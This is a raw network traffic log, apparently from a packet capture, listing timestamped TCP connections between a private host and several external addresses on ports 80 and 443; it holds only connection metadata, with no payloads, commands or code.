Nov 15, 2024 13:18:26.024857998 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.024920940 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.024936914 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.024965048 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.024981022 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.024982929 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.025018930 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.025022984 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.025068045 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.025511026 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.025527954 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.025544882 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.025583029 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.025816917 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.025883913 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.026010036 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.060986996 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.061008930 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.061037064 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.061045885 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.061053038 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.061069965 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.061084986 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.061085939 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.061125040 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.063321114 CET	443	49736	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.063683033 CET	443	49737	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.063957930 CET	49736	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:26.063988924 CET	443	49736	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.064717054 CET	49736	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:26.064723015 CET	443	49736	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.065049887 CET	49737	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:26.065093994 CET	443	49737	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.065500021 CET	49737	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:26.065515041 CET	443	49737	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.067466974 CET	443	49740	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.067768097 CET	49740	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:26.067784071 CET	443	49740	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.068156004 CET	49740	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:26.068161011 CET	443	49740	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.068568945 CET	443	49738	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.068876982 CET	49738	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:26.068886042 CET	443	49738	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.069236040 CET	49738	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:26.069241047 CET	443	49738	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.069747925 CET	443	49739	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.070256948 CET	49739	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:26.070271015 CET	443	49739	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.070746899 CET	49739	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:26.070750952 CET	443	49739	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.104607105 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.148237944 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.148262024 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.148279905 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.148296118 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.148308039 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.148313046 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.148350000 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.148359060 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.148411989 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.149060965 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.149077892 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.149094105 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.149125099 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.183773041 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.183816910 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.183835030 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.183847904 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.183849096 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.183859110 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.183872938 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.183918953 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.191589117 CET	443	49736	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.191669941 CET	443	49736	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.191762924 CET	49736	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:26.191955090 CET	49736	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:26.191955090 CET	49736	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:26.191970110 CET	443	49736	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.191977978 CET	443	49736	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.193556070 CET	443	49737	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.193717003 CET	443	49737	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.193767071 CET	49737	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:26.193800926 CET	49737	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:26.193816900 CET	443	49737	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.193845034 CET	49737	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:26.193850040 CET	443	49737	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.194920063 CET	49743	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:26.194963932 CET	443	49743	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.195030928 CET	443	49740	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.195048094 CET	49743	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:26.195333004 CET	49743	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:26.195344925 CET	443	49743	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.195586920 CET	49744	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:26.195616961 CET	443	49744	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.195657969 CET	443	49740	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.195684910 CET	49744	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:26.195713997 CET	49740	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:26.195749044 CET	49740	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:26.195758104 CET	443	49740	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.195770025 CET	49740	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:26.195775032 CET	443	49740	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.195841074 CET	49744	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:26.195858002 CET	443	49744	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.198221922 CET	49745	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:26.198245049 CET	443	49745	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.198502064 CET	49745	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:26.198502064 CET	49745	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:26.198529959 CET	443	49745	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.199944019 CET	443	49738	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.200021029 CET	443	49738	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.200107098 CET	49738	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:26.200107098 CET	49738	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:26.200159073 CET	49738	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:26.200166941 CET	443	49738	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.200237989 CET	443	49739	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.200431108 CET	443	49739	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.200483084 CET	49739	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:26.200599909 CET	49739	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:26.200611115 CET	443	49739	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.200614929 CET	49739	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:26.200619936 CET	443	49739	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.202229977 CET	49746	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:26.202245951 CET	443	49746	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.202307940 CET	49746	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:26.202442884 CET	49747	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:26.202447891 CET	49746	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:26.202461004 CET	443	49746	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.202461958 CET	443	49747	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.202629089 CET	49747	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:26.202677011 CET	49747	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:26.202694893 CET	443	49747	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.227552891 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.227569103 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.227581024 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.227653027 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.271166086 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.271178961 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.271198034 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.271212101 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.271214008 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.271223068 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.271246910 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.271291971 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.271473885 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.271492958 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.271505117 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.271538019 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.306777954 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.306788921 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.306798935 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.306809902 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.306819916 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.306842089 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.306898117 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.309043884 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.309053898 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.309098959 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.350471020 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.350505114 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.350513935 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.350522995 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.350559950 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.350589037 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.394262075 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.394299030 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.394309044 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.394355059 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.394388914 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.394398928 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.394408941 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.394423008 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.394428968 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.394469976 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.394474983 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.394520998 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.430146933 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.430162907 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.430174112 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.430191040 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.430200100 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.430206060 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.430210114 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.430269957 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.434273958 CET	49735	443	192.168.2.7	20.109.210.53
Nov 15, 2024 13:18:26.473897934 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.473915100 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.473926067 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.473967075 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.479343891 CET	443	49735	20.109.210.53	192.168.2.7
Nov 15, 2024 13:18:26.517406940 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.517436981 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.517453909 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.517489910 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.517558098 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.517559052 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.517666101 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.517676115 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.517730951 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.517781973 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.517792940 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.517843962 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.518299103 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.518310070 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.518320084 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.518362045 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.518392086 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.553447962 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.553472996 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.553483963 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.553495884 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.553509951 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.553517103 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.553585052 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.597512960 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.597526073 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.597536087 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.597590923 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.597640038 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.641071081 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.641083956 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.641093969 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.641140938 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.641171932 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.641182899 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.641194105 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.641215086 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.641238928 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.641594887 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.641606092 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.641616106 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.641627073 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.641644955 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.641668081 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.676565886 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.676582098 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.676594973 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.676605940 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.676635027 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.676656961 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.676785946 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.677046061 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.677093983 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.701663017 CET	443	49735	20.109.210.53	192.168.2.7
Nov 15, 2024 13:18:26.701684952 CET	443	49735	20.109.210.53	192.168.2.7
Nov 15, 2024 13:18:26.701692104 CET	443	49735	20.109.210.53	192.168.2.7
Nov 15, 2024 13:18:26.701708078 CET	443	49735	20.109.210.53	192.168.2.7
Nov 15, 2024 13:18:26.701714993 CET	443	49735	20.109.210.53	192.168.2.7
Nov 15, 2024 13:18:26.701719999 CET	443	49735	20.109.210.53	192.168.2.7
Nov 15, 2024 13:18:26.701781988 CET	49735	443	192.168.2.7	20.109.210.53
Nov 15, 2024 13:18:26.701782942 CET	49735	443	192.168.2.7	20.109.210.53
Nov 15, 2024 13:18:26.701852083 CET	443	49735	20.109.210.53	192.168.2.7
Nov 15, 2024 13:18:26.701925039 CET	49735	443	192.168.2.7	20.109.210.53
Nov 15, 2024 13:18:26.702270985 CET	443	49735	20.109.210.53	192.168.2.7
Nov 15, 2024 13:18:26.702356100 CET	49735	443	192.168.2.7	20.109.210.53
Nov 15, 2024 13:18:26.702372074 CET	443	49735	20.109.210.53	192.168.2.7
Nov 15, 2024 13:18:26.702543974 CET	443	49735	20.109.210.53	192.168.2.7
Nov 15, 2024 13:18:26.702608109 CET	49735	443	192.168.2.7	20.109.210.53
Nov 15, 2024 13:18:26.720666885 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.720680952 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.720691919 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.720719099 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.760843992 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.763717890 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.763742924 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.763850927 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.763863087 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.763875008 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.763885975 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.763897896 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.763901949 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.763947964 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.764585018 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.764595985 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.764606953 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.764637947 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.764655113 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.764940977 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.764951944 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.764961004 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.764991999 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.799612045 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.799623966 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.799635887 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.799681902 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.799730062 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.799829006 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.799839973 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.799889088 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.843961000 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.844019890 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.844031096 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.844067097 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.885829926 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.886995077 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.887007952 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.887017965 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.887065887 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.887137890 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.887177944 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.887240887 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.887253046 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.887263060 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.887274027 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.887288094 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.887322903 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.887895107 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.887964010 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.888012886 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.888044119 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.888108969 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.888119936 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.888134956 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.888164997 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.888190985 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.917733908 CET	443	49743	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.918296099 CET	49743	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:26.918328047 CET	443	49743	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.918826103 CET	49743	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:26.918833971 CET	443	49743	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.925167084 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.925179958 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.925190926 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.925256014 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.928400993 CET	443	49744	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.928874016 CET	49744	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:26.928906918 CET	443	49744	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.929301023 CET	49744	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:26.929310083 CET	443	49744	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.946070910 CET	443	49746	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.946408987 CET	443	49747	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.946502924 CET	49746	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:26.946537971 CET	443	49746	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.946830034 CET	49747	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:26.946860075 CET	443	49747	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.947137117 CET	49746	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:26.947145939 CET	443	49746	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.947514057 CET	49747	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:26.947520018 CET	443	49747	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.947745085 CET	443	49745	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.948101044 CET	49745	443	192.168.2.7	13.107.246.45
